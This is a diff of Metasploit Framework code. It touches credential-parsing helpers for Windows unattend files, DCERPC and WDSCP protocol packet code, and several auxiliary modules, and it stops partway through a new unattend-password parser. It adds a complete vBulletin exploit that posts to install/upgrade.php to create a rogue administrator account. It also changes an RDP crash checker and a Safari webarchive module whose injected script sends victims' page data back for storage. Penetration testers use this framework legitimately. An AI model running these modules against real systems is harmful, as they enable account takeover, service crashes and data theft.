||||
gadgets << :unsafe_negate_size
|
||||
when 'safe_negate_size'
|
||||
gadgets << :safe_negate_size
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
|
|
|
@ -9,12 +9,16 @@ module Parser
|
|||
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
|
||||
# See: http://technet.microsoft.com/en-us/library/ff715801
|
||||
# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx
|
||||
# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx
|
||||
class Unattend
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
def self.parse(xml)
|
||||
return [] if xml.nil?
|
||||
results = []
|
||||
unattend = xml.elements['unattend']
|
||||
return if unattend.nil?
|
||||
return [] if unattend.nil?
|
||||
unattend.each_element do |settings|
|
||||
next if settings.class != REXML::Element
|
||||
settings.get_elements('component').each do |c|
|
||||
|
@ -22,6 +26,7 @@ class Unattend
|
|||
results << extract_useraccounts(c.elements['UserAccounts'])
|
||||
results << extract_autologon(c.elements['AutoLogon'])
|
||||
results << extract_deployment(c.elements['WindowsDeploymentServices'])
|
||||
results << extract_domain_join(c.elements['Identification/Credentials'])
|
||||
end
|
||||
end
|
||||
return results.flatten
|
||||
|
@ -47,6 +52,18 @@ class Unattend
|
|||
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from 'Secure' Domain Join
|
||||
#
|
||||
def self.extract_domain_join(credentials)
|
||||
return [] if credentials.nil?
|
||||
domain = credentials.elements['Domain'].get_text.value rescue ''
|
||||
username = credentials.elements['Username'].get_text.value rescue ''
|
||||
password = credentials.elements['Password'].get_text.value rescue ''
|
||||
|
||||
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from AutoLogon
|
||||
#
|
||||
|
@ -91,7 +108,7 @@ class Unattend
|
|||
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
||||
end
|
||||
|
||||
if not password.empty?
|
||||
unless password.empty?
|
||||
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
|
||||
end
|
||||
|
||||
|
@ -128,6 +145,27 @@ class Unattend
|
|||
return results
|
||||
end
|
||||
|
||||
def self.create_table(results)
|
||||
return nil if results.nil? or results.empty?
|
||||
table = Rex::Ui::Text::Table.new({
|
||||
'Header' => 'Unattend Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
|
||||
})
|
||||
|
||||
results.each do |result|
|
||||
case result['type']
|
||||
when 'wds', 'auto', 'domain_join'
|
||||
table << [result['type'], result['domain'], result['username'], result['password'], ""]
|
||||
when 'admin', 'local'
|
||||
table << [result['type'], "", result['username'], result['password'], ""]
|
||||
when 'domain'
|
||||
table << [result['type'], "", result['username'], "", result['group']]
|
||||
end
|
||||
end
|
||||
|
||||
return table
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -84,7 +84,7 @@ class Resolve
|
|||
end
|
||||
|
||||
if raw.empty?
|
||||
ip = ""
|
||||
ip = nil
|
||||
else
|
||||
if type == AF_INET
|
||||
ip = Rex::Socket.addr_ntoa(raw[0..3])
|
||||
|
|
|
@ -269,13 +269,21 @@ class DLL
|
|||
rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT)
|
||||
rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET)
|
||||
rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR)
|
||||
rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG)
|
||||
|
||||
# Error messages come back with trailing CRLF, so strip it out
|
||||
# if we do get a message.
|
||||
rec_err_msg.strip! if not rec_err_msg.nil?
|
||||
|
||||
#puts "received stuff"
|
||||
#puts "out_only_layout:"
|
||||
#puts out_only_layout
|
||||
|
||||
# The hash the function returns
|
||||
return_hash={"GetLastError" => rec_last_error}
|
||||
return_hash = {
|
||||
"GetLastError" => rec_last_error,
|
||||
"ErrorMessage" => rec_err_msg
|
||||
}
|
||||
|
||||
#process return value
|
||||
case function.return_type
|
||||
|
|
|
@ -42,10 +42,13 @@ class MultiCaller
|
|||
|
||||
include DLLHelper
|
||||
|
||||
def initialize( client, parent )
|
||||
def initialize( client, parent, win_consts )
|
||||
@parent = parent
|
||||
@client = client
|
||||
|
||||
# needed by DLL helper
|
||||
@win_consts = win_consts
|
||||
|
||||
if( @client.platform =~ /x64/i )
|
||||
@native = 'Q'
|
||||
else
|
||||
|
@ -224,9 +227,17 @@ class MultiCaller
|
|||
rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT)
|
||||
rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET)
|
||||
rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR)
|
||||
rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG)
|
||||
|
||||
# Error messages come back with trailing CRLF, so strip it out
|
||||
# if we do get a message.
|
||||
rec_err_msg.strip! if not rec_err_msg.nil?
|
||||
|
||||
# The hash the function returns
|
||||
return_hash={"GetLastError" => rec_last_error}
|
||||
return_hash = {
|
||||
"GetLastError" => rec_last_error,
|
||||
"ErrorMessage" => rec_err_msg
|
||||
}
|
||||
|
||||
#process return value
|
||||
case function.return_type
|
||||
|
@ -303,8 +314,6 @@ class MultiCaller
|
|||
|
||||
protected
|
||||
|
||||
attr_accessor :win_consts
|
||||
|
||||
end # MultiCall
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -290,7 +290,7 @@ class Railgun
|
|||
#
|
||||
def multi(functions)
|
||||
if @multicaller.nil?
|
||||
@multicaller = MultiCaller.new(client, self)
|
||||
@multicaller = MultiCaller.new(client, self, ApiConstants.manager)
|
||||
end
|
||||
|
||||
return @multicaller.call(functions)
|
||||
|
|
|
@ -47,9 +47,10 @@ TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_R
|
|||
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
|
||||
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
|
||||
|
||||
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12 )
|
||||
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13 )
|
||||
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14 )
|
||||
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
|
||||
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
|
||||
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
|
||||
|
||||
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
|
||||
TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -252,7 +252,7 @@ require 'rex/proto/smb/exceptions'
|
|||
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
|
||||
else
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid)
|
||||
end
|
||||
|
||||
raise 'make_bind failed' if !bind
|
||||
|
|
|
@ -11,11 +11,15 @@ require 'rex/text'
|
|||
UUID = Rex::Proto::DCERPC::UUID
|
||||
|
||||
# Create a standard DCERPC BIND request packet
|
||||
def self.make_bind(uuid, vers)
|
||||
def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers)
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers)
|
||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers)
|
||||
|
||||
if UUID.is? xfer_syntax_uuid
|
||||
xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid)
|
||||
end
|
||||
|
||||
# Create the bind request packet
|
||||
buff =
|
||||
|
@ -37,7 +41,7 @@ require 'rex/text'
|
|||
UUID.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
UUID.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/dcerpc/wdscp/constants'
|
||||
require 'rex/proto/dcerpc/wdscp/packet'
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
module WDSCP
|
||||
# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx
|
||||
# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx
|
||||
# Not all values defined by the spec have been imported...
|
||||
class Constants
|
||||
WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620"
|
||||
OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27"
|
||||
|
||||
VAR_NAME_ARCHITECTURE = "ARCHITECTURE"
|
||||
VAR_NAME_CLIENT_GUID = "CLIENT_GUID"
|
||||
VAR_NAME_CLIENT_MAC = "CLIENT_MAC"
|
||||
VAR_NAME_VERSION = "VERSION"
|
||||
VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE"
|
||||
VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID"
|
||||
VAR_NAME_FLAGS = "FLAGS"
|
||||
VAR_NAME_CC = "CC" #Client Capabilities
|
||||
VAR_NAME_IMDC = "IMDC"
|
||||
|
||||
VAR_TYPE_LOOKUP = {
|
||||
VAR_NAME_ARCHITECTURE => :ULONG,
|
||||
VAR_NAME_CLIENT_GUID => :WSTRING,
|
||||
VAR_NAME_CLIENT_MAC => :WSTRING,
|
||||
VAR_NAME_VERSION => :ULONG,
|
||||
VAR_NAME_MESSAGE_TYPE => :ULONG,
|
||||
VAR_NAME_TRANSACTION_ID => :WSTRING,
|
||||
VAR_NAME_FLAGS => :ULONG,
|
||||
VAR_NAME_CC => :ULONG,
|
||||
VAR_NAME_IMDC => :ULONG
|
||||
}
|
||||
|
||||
CC_FLAGS = {
|
||||
:V2 => 1,
|
||||
:VHDX => 2
|
||||
}
|
||||
|
||||
DOMAIN_JOIN_FLAGS = {
|
||||
:JOIN_DOMAIN => 1,
|
||||
:ACCOUNT_EXISTS => 2,
|
||||
:PRESTAGE_USING_MAC => 3,
|
||||
:RESET_BOOT_PROGRAM => 256
|
||||
}
|
||||
|
||||
ARCHITECTURE = {
|
||||
:X64 => 9,
|
||||
:X86 => 0,
|
||||
:IA64 => 6,
|
||||
:ARM => 5
|
||||
}
|
||||
|
||||
PACKET_TYPE = {
|
||||
:REQUEST => 1,
|
||||
:REPLY => 2
|
||||
}
|
||||
|
||||
OPCODE = {
|
||||
:IMG_ENUMERATE => 2,
|
||||
:LOG_INIT => 3,
|
||||
:LOG_MSG => 4,
|
||||
:GET_CLIENT_UNATTEND => 5,
|
||||
:GET_UNATTEND_VARIABLES => 6,
|
||||
:GET_DOMAIN_JOIN_INFORMATION => 7,
|
||||
:RESET_BOOT_PROGRAM => 8,
|
||||
:GET_MACHINE_DRIVER_PACKAGES => 200
|
||||
}
|
||||
|
||||
BASE_TYPE = {
|
||||
:BYTE => 0x0001,
|
||||
:USHORT => 0x0002,
|
||||
:ULONG => 0x0004,
|
||||
:ULONG64 => 0x0008,
|
||||
:STRING => 0x0010,
|
||||
:WSTRING => 0x0020,
|
||||
:BLOB => 0x0040
|
||||
}
|
||||
|
||||
TYPE_MODIFIER = {
|
||||
:NONE => 0x0000,
|
||||
:ARRAY => 0x1000
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,94 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
module WDSCP
|
||||
class Packet
|
||||
|
||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||
|
||||
def initialize(packet_type, opcode)
|
||||
if opcode.nil? || packet_type.nil?
|
||||
raise(ArgumentError, "Packet arguments cannot be nil")
|
||||
end
|
||||
|
||||
@variables = []
|
||||
@packet_type = WDS_CONST::PACKET_TYPE[packet_type]
|
||||
@opcode = WDS_CONST::OPCODE[opcode]
|
||||
end
|
||||
|
||||
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
|
||||
padding = 0
|
||||
vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
|
||||
value_type = WDS_CONST::BASE_TYPE[vt]
|
||||
name = Rex::Text.to_unicode(name).unpack('H*')[0]
|
||||
|
||||
# Terminate strings with null char
|
||||
if vt == :STRING
|
||||
value << "\x00"
|
||||
elsif vt == :WSTRING
|
||||
value = Rex::Text.to_unicode(value)
|
||||
value << "\x00\x00"
|
||||
end
|
||||
|
||||
value_length ||= value.length
|
||||
# Variable block total size should be evenly divisible by 16.
|
||||
len = 16 * (1 + (value_length/16))
|
||||
@variables <<
|
||||
[ name,
|
||||
padding,
|
||||
value_type,
|
||||
type_mod,
|
||||
value_length,
|
||||
array_size,
|
||||
value
|
||||
].pack('H132vvvVVa%i' % len)
|
||||
end
|
||||
|
||||
def create
|
||||
packet = []
|
||||
var_count = @variables.count
|
||||
|
||||
packet_size = 0
|
||||
@variables.each do |var|
|
||||
packet_size += var.length
|
||||
end
|
||||
|
||||
# variables + operation
|
||||
packet_size += 16
|
||||
|
||||
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
|
||||
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
|
||||
packet << [(packet_size+40)].pack('V') * 2
|
||||
packet << create_endpoint_header(packet_size)
|
||||
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
|
||||
packet.concat(@variables)
|
||||
|
||||
return packet.join
|
||||
end
|
||||
|
||||
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
|
||||
return [
|
||||
packet_size, # PacketSize
|
||||
256, # Version
|
||||
packet_type, # Packet_Type
|
||||
0, # Padding
|
||||
opcode, # Opcode
|
||||
var_count, # Variable Count
|
||||
].pack('VvCCVV')
|
||||
end
|
||||
|
||||
def create_endpoint_header(packet_size)
|
||||
return [
|
||||
40, # Header_Size
|
||||
256, # Version
|
||||
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
|
||||
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
|
||||
"\x00"*16, # Reserved
|
||||
].pack('vvVa16a16')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -66,6 +66,13 @@ class Rex::RandomIdentifierGenerator
|
|||
#}
|
||||
end
|
||||
|
||||
# Returns the @value_by_name hash
|
||||
#
|
||||
# @return [Hash]
|
||||
def to_h
|
||||
return @value_by_name
|
||||
end
|
||||
|
||||
# Return a unique random identifier for +name+, generating a new one
|
||||
# if necessary.
|
||||
#
|
||||
|
@ -82,6 +89,7 @@ class Rex::RandomIdentifierGenerator
|
|||
@value_by_name[name]
|
||||
end
|
||||
alias [] get
|
||||
alias init_var get
|
||||
|
||||
# Add a new identifier. Its name will be checked for uniqueness among
|
||||
# previously-generated names.
|
||||
|
|
|
@ -131,8 +131,8 @@ class Rex::Socket::Comm::Local
|
|||
# Force IPv6 mode for non-connected UDP sockets
|
||||
if (type == ::Socket::SOCK_DGRAM and not param.peerhost)
|
||||
# FreeBSD allows IPv6 socket creation, but throws an error on sendto()
|
||||
|
||||
if (not Rex::Compat.is_freebsd())
|
||||
# Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets
|
||||
unless Rex::Compat.is_freebsd or Rex::Compat.is_windows
|
||||
usev6 = true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -61,24 +61,14 @@ class Event
|
|||
# Waits for the event to become signaled. Timeout is measured in
|
||||
# seconds. Raises TimeoutError if the condition does not become signaled.
|
||||
#
|
||||
|
||||
begin
|
||||
# XXX: we need to replace this code
|
||||
# continuations slow down YARV
|
||||
require "continuation" if not defined? callcc
|
||||
rescue ::LoadError
|
||||
end
|
||||
|
||||
def wait(t = Infinite)
|
||||
callcc { |ctx|
|
||||
self.mutex.synchronize {
|
||||
ctx.call if (self.state == true)
|
||||
break if (self.state == true)
|
||||
|
||||
Timeout.timeout(t) {
|
||||
self.cond.wait(self.mutex)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return self.param
|
||||
end
|
||||
|
|
|
@ -45,10 +45,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'vBulletin Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
|
||||
create a new administrator account, as exploited in the wild on October 2013. This module
|
||||
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discoverer? found in the wild
|
||||
'juan vazquez' #metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ],
|
||||
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 09 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
|
||||
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
|
||||
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore["USERNAME"]
|
||||
end
|
||||
|
||||
def pass
|
||||
datastore["PASSWORD"]
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if user == pass
|
||||
print_error("#{peer} - Please select a password different than the username")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Trying a new admin vBulletin account...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
|
||||
'method' =>'POST',
|
||||
'vars_post' => {
|
||||
"version" => "install",
|
||||
"response" => "true",
|
||||
"checktable" => "false",
|
||||
"firstrun" => "false",
|
||||
"step" => "7",
|
||||
"startat" => "0",
|
||||
"only" => "false",
|
||||
"options[skiptemplatemerge]" => "0",
|
||||
"reponse" => "yes",
|
||||
"htmlsubmit" => "1",
|
||||
"htmldata[username]" => user,
|
||||
"htmldata[password]" => pass,
|
||||
"htmldata[confirmpassword]" => pass,
|
||||
"htmldata[email]" => datastore["EMAIL"]
|
||||
},
|
||||
'headers' => {
|
||||
"X-Requested-With" => "XMLHttpRequest"
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Administrator account created/
|
||||
print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'http',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:proof => res.body
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - Admin account creation failed")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
register_autofilter_ports([ 50013 ])
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Check version information to confirm Win/Lin
|
||||
|
||||
|
|
|
@ -38,14 +38,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run
|
||||
record = "<RECORD>"
|
||||
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
|
||||
|
|
|
@ -54,6 +54,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def is_rdp_up
|
||||
begin
|
||||
connect
|
||||
disconnect
|
||||
return true
|
||||
rescue Rex::ConnectionRefused
|
||||
return false
|
||||
|
@ -138,15 +139,24 @@ class Metasploit3 < Msf::Auxiliary
|
|||
"\x02\xF0\x80" + # X.224
|
||||
"\x21\x80" # T.125
|
||||
|
||||
unless is_rdp_up
|
||||
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
|
||||
return
|
||||
end
|
||||
|
||||
connect
|
||||
print_status("#{rhost}:#{rport} - Sending #{self.name}")
|
||||
sock.put(pkt)
|
||||
select(nil, nil, nil, 3)
|
||||
Rex.sleep(3)
|
||||
disconnect
|
||||
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")
|
||||
|
||||
print_status("#{rhost}:#{rport} - Checking RDP status...")
|
||||
if not is_rdp_up
|
||||
|
||||
if is_rdp_up
|
||||
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
|
||||
return
|
||||
else
|
||||
print_good("#{rhost}:#{rport} seems down")
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
|
@ -155,9 +165,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully crashed the target system via RDP"
|
||||
})
|
||||
else
|
||||
print_status("#{rhost}:#{rport} is still up")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
|
||||
attr_accessor :scripts_to_poison
|
||||
|
@ -177,17 +178,39 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def on_request_uri(cli, request)
|
||||
begin
|
||||
data = if request.body.size > 0
|
||||
data_str = if request.body.size > 0
|
||||
request.body
|
||||
else
|
||||
request.qstring['data']
|
||||
end
|
||||
data = JSON::parse(data || '')
|
||||
print_status "Received data: #{data}"
|
||||
rescue # json error, dismiss request & keep crit. server up
|
||||
data = JSON::parse(data_str || '')
|
||||
file = record_data(data, cli)
|
||||
send_response_html(cli, '')
|
||||
print_good "#{data_str.length} chars received and stored to #{file}"
|
||||
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
|
||||
print_error "Invalid JSON received: #{data_str}"
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] data the data to store in the log
|
||||
# @return [String] filename where we are storing the data
|
||||
def record_data(data, cli)
|
||||
@client_cache ||= Hash.new({})
|
||||
@client_cache[cli.peerhost]['file'] ||= store_loot(
|
||||
"safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data"
|
||||
)
|
||||
file = @client_cache[cli.peerhost]['file']
|
||||
|
||||
@client_cache[cli.peerhost]['data'] ||= []
|
||||
@client_cache[cli.peerhost]['data'].push(data)
|
||||
data_str = JSON.generate(@client_cache[cli.peerhost]['data'])
|
||||
|
||||
File.write(file, data_str)
|
||||
|
||||
file
|
||||
end
|
||||
|
||||
### ASSEMBLE THE WEBARCHIVE XML ###
|
||||
|
||||
# @return [String] contents of webarchive as an XML document
|
||||
|
@ -531,9 +554,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
var sent = false;
|
||||
req.open('GET', '#{url}', true);
|
||||
req.onreadystatechange = function() {
|
||||
if (!sent) {
|
||||
sendData('response_headers', req.getAllResponseHeaders());
|
||||
sendData('response_body', req.responseText);
|
||||
if (req.readyState==4 && !sent) {
|
||||
sendData('#{url}', {
|
||||
response_headers: req.getAllResponseHeaders(),
|
||||
response_body: req.responseText
|
||||
});
|
||||
sent = true;
|
||||
}
|
||||
};
|
||||
|
@ -647,8 +672,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
%Q|
|
||||
window.sendData = function(key, val) {
|
||||
var data = {};
|
||||
if (key && val) data[key] = val;
|
||||
if (!val) data = key;
|
||||
data[key] = val;
|
||||
window.top.postMessage(JSON.stringify(data), "*")
|
||||
};
|
||||
|
|
||||
|
|
|
@ -50,10 +50,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||
end
|
||||
|
||||
def fingerprint(response)
|
||||
|
||||
if(response.headers.has_key?('Server') )
|
||||
|
|
|
@ -124,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
query = @res.search(host, "A")
|
||||
if query
|
||||
query.answer.each do |rr|
|
||||
next unless rr.type == "A"
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "A"
|
||||
|
@ -134,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
query1 = @res.search(host, "AAAA")
|
||||
if query1
|
||||
query1.answer.each do |rr|
|
||||
next unless rr.type == "AAAA"
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
|
@ -189,6 +191,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
query = @res.query(target, "TXT")
|
||||
return results if not query
|
||||
query.answer.each do |rr|
|
||||
next unless rr.type == "TXT"
|
||||
record = {}
|
||||
record[:host] = target
|
||||
record[:text] = rr.txt
|
||||
|
|
|
@ -41,10 +41,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def execute_php_code(code, opts = {})
|
||||
param_name = Rex::Text.rand_text_alpha(6)
|
||||
padding = Rex::Text.rand_text_alpha(6)
|
||||
|
|
|
@ -47,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_domain_info(session)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
|
||||
|
|
|
@ -0,0 +1,71 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/unattend'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Auxilliary Parser Windows Unattend Passwords',
|
||||
'Description' => %q{
|
||||
This module parses Unattend files in the target directory.
|
||||
|
||||
See also: post/windows/gather/enum_unattend
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
